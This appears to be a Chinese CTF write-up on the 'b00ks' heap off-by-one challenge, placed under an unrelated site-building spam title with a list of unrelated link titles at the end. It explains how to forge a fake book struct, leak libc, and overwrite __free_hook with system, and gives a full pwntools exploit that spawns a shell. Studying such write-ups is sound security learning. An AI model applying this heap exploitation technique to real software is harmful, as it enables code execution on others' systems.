当前位置: 首页 > news >正文

专业建站服务建站网有专门做宝宝用品的网站吗

专业建站服务建站网,有专门做宝宝用品的网站吗,时尚 wordpress,wordpress开放注册萌新进度太慢了#xff0c;才真正开始heap#xff0c;还是从简单的Off-By-One开始吧 前言 步入堆的学习。堆的知识复杂而多#xff0c;于是想着由wiki从简单部分逐个啃。 b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵#xff08;因为确实连堆的管理机制都没有完全… 萌新进度太慢了才真正开始heap还是从简单的Off-By-One开始吧 前言 步入堆的学习。堆的知识复杂而多于是想着由wiki从简单部分逐个啃。 b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵因为确实连堆的管理机制都没有完全了解。 一、一些疑难点以及思考 wp在网上有很多然而读了五六篇不同大佬师傅写的wp发现有很多细节被忽略了可能这些细节都是很简单的然而作为萌新一些基本的知识和思路还是缺乏。 好在经过两三天的啃、跟着做终于有了一些见解基本思路也打通了。具体的wp就不在这里写了可以食用其他大佬的wp更为优质而我就做一些补充。一些来自于本蒟蒻的细节的补充。 细节0off-by-one进行的单字节溢出可以用作泄露可以用作覆写。 细节1结构体分配内存时先name成员指针、再description成员指针、后book结构体指针 这个细节决定了我们通过off-by-one进行单字节溢出时地址总是减小因此可以将book1结构体更新到description 细节2description可以修改因此布置fake-book1要在单字节覆写之前name不可以修改但是会被首先free——即free_hook在free name时首先发作 这就意味着——如果不用onegadget而利用system(/bin/sh)那就需要把name指针布置为bin_sh字符串指针也就是需要修改name——我们可以修改fake_book1的desc指针指向book2的name的地址同时由于book结构体中name、desc两个指针相邻所以修改name值时填入p64(bin_sh)p64(free_hook)即可覆写namedesc指针为指定指针 细节3fake_book1的偏移为了能让fake_book1落在指定的、更新后的book1的位置前面可能需要填充padding这个通过gdb调试将偏移后的伪结构体数据布置到指定指针位置。 每次运行虽然heap变化但是低位不变因此偏移也固定。为了方便布置可以将book1的descrption内容开大一些。 二、EXP from pwn import *context(archamd64,log_leveldebug)ioprocess(./b00ks) def create(namesize,name,descriptionsize,description):io.sendlineafter(b ,b1)io.sendlineafter(b\nEnter book name size: ,str(namesize).encode())io.sendlineafter(bEnter book name (Max 32 chars): ,name)io.sendlineafter(b\nEnter book description size: ,str(descriptionsize).encode())io.sendlineafter(bEnter book description: ,description) def delete(bookid):io.sendlineafter(b ,b2)io.sendlineafter(bEnter the book id you want to delete: ,str(bookid).encode())def edit(bookid,newdescription):io.sendlineafter(b ,b3)io.sendlineafter(bEnter the book id you want to edit: ,str(bookid).encode())io.sendlineafter(bnter new book description: ,newdescription)def printinfo(id):io.sendlineafter(b ,b4)for i in range(id):io.recvuntil(bID: )IDio.recvuntil(b\n,dropTrue)io.recvuntil(bName: )Nameio.recvuntil(b\n,dropTrue)io.recvuntil(bDescription: )Descriptionio.recvuntil(b\n,dropTrue)io.recvuntil(bAuthor: )Authorio.recvuntil(b\n,dropTrue)return ID,Name,Description,Authordef changeAuthor(newAuthorname):io.sendlineafter(b ,b5)io.sendlineafter(bEnter author name: ,newAuthorname)### 1.泄露第一个book结构体的指针 # gdb.attach(io) booknameba*32 io.sendlineafter(bEnter author name: ,bookname) create(16,ba,256,ba)io.sendlineafter(b ,b4) io.recvuntil(ba*32) book1_ptru64(io.recvuntil(b\n\n1.,dropTrue).ljust(8,b\x00)) success(book1_ptr{}.format(hex(book1_ptr))) raw_input()### 2.伪造book1并通过off-by-one修改book1到fake_book1 # 将fake_book1的name_ptr属性指向book2的name将fake_book1的description_ptr属性指向book2的description # 注意由于name和description属性都是malloc的且因为book结构体malloc(0x20)所以开辟的实际空间是0x30### 之所以0x40(desc)在前0x38(name)在后是因为第二个位置对应可修改的desc指针可以通过其修改book2的name、desc fake_book1bc*0xc0p64(1)p64(book1_ptr0x40)p64(book1_ptr0x38)p64(0xffff) # fake_book1bc*0x20p64(1)p64(book1_ptr0x38)p64(book1_ptr0x40)p64(0xffff) edit(1,fake_book1)# 为了泄露libc版本需要让book2的name或description由mmap分配同时也因此book1和book2的堆空间相邻 create(0x21000,bb,0x21000,bb) changeAuthor(bookname) # 注意下面的顺序先desc再name对应payload的布置 book2_id,book2_desc,book2_name,book2_authorprintinfo(1) print(book2_id,book2_name,book2_desc,book2_author) book2_name_ptru64(book2_name.ljust(8,b\x00)) success(book2_name_ptr:{}.format(hex(book2_name_ptr))) book2_desc_ptru64(book2_desc.ljust(8,b\x00)) success(book2_desc_ptr:{}.format(hex(book2_desc_ptr))) raw_input()libc_basebook2_name_ptr-0x5cf010 libcELF(/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so) systemlibc_baselibc.sym[system] success(system:{}.format(hex(system))) execvelibc_baselibc.sym[execve] success(execve:{}.format(hex(execve))) bin_shlibc_basenext(libc.search(b/bin/sh\x00)) success(bin_sh:{}.format(hex(bin_sh))) free_hooklibc_baselibc.sym[__free_hook] raw_input()### 通过onegadget来打但是均失败了 # one_gadgetlibc_base0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88 # edit(1,p64(0)p64(free_hook)) # edit(2,p64(one_gadget)) # delete(2) ### 注意这里的onegadget是没有patchelf该so和ld文件前即22.04版16.04版未尝试### 通过system(/bin/sh)来打 edit(1,p64(bin_sh)p64(free_hook)) #book2的name指针改为指向字符串/bin/sh的指针desc指针指向free_hook edit(2,p64(system)) #修改free_hook的值为system\ raw_input() delete(2)# name指向的区域最先free,触发free_hook此时已改为systemio.interactive() 三、效果 总结 还是比较难的但是跟着wp做了一遍发现细节、原理、思路以及流程都能够了解并掌握且gdb调适能力大大提升。加油
http://www.dnsts.com.cn/news/194662.html

相关文章:

  • 手机网站打开微信支付功能做网站的边框素材
  • asp个人网站下载轻量级开源cms
  • 青岛开发区网站建设wordpress免费网页建站
  • pc wap 装修公司网站源码网络营销服务行业有哪些
  • go做后端的网站怎样建设淘宝客导购网站
  • e2ee网站开发wordpress。短视频主题
  • 永兴房产网站小程序商城服务好的商家
  • 安装网站系统东莞开发游戏软件公司
  • 高级营销网站建设只需1200元徐州百度seo排名
  • 手机编码制网站阜南县城乡建设局官方网站
  • 站点的几种推广方式发布信息的网站
  • 电子科技 深圳 网站建设公司注册资金最新规定2024
  • 上海平台网站建设报价前端代码生成器
  • 学校做网站方案网站开发 慕课
  • 网站怎么认证职教集团网站建设
  • 网站如何添加友情链接网页设计html代码大全爱心
  • 游戏评测网站怎么做企业网站建设源码 微信 手机
  • 专业做网站建设公司排名微信如何建公众号怎么创建
  • 云虚拟主机做二个网站兰州市城乡和住房建设局网站
  • 深圳宝安区做网站wordpress 微博分享 searchpic=
  • 网站建设完整版深圳企业主页制作
  • 上海网站制作是什么网站优化主要优化哪些地方
  • 做微商网站制作网站建设i
  • 商业网站初期建设资金预算手机软件开发语言
  • 南浔住房和城乡建设局网站珠海门户网站建设哪家好
  • 宁波企业网站seo鄂州seo厂家
  • 建立网站数据库wordpress 随机缩略图
  • 网站301重定向百度一下你就知道移动首页
  • 怎么用joomla做网站二建咨询在线
  • 网站安全评估怎么做wordpress 会议 主题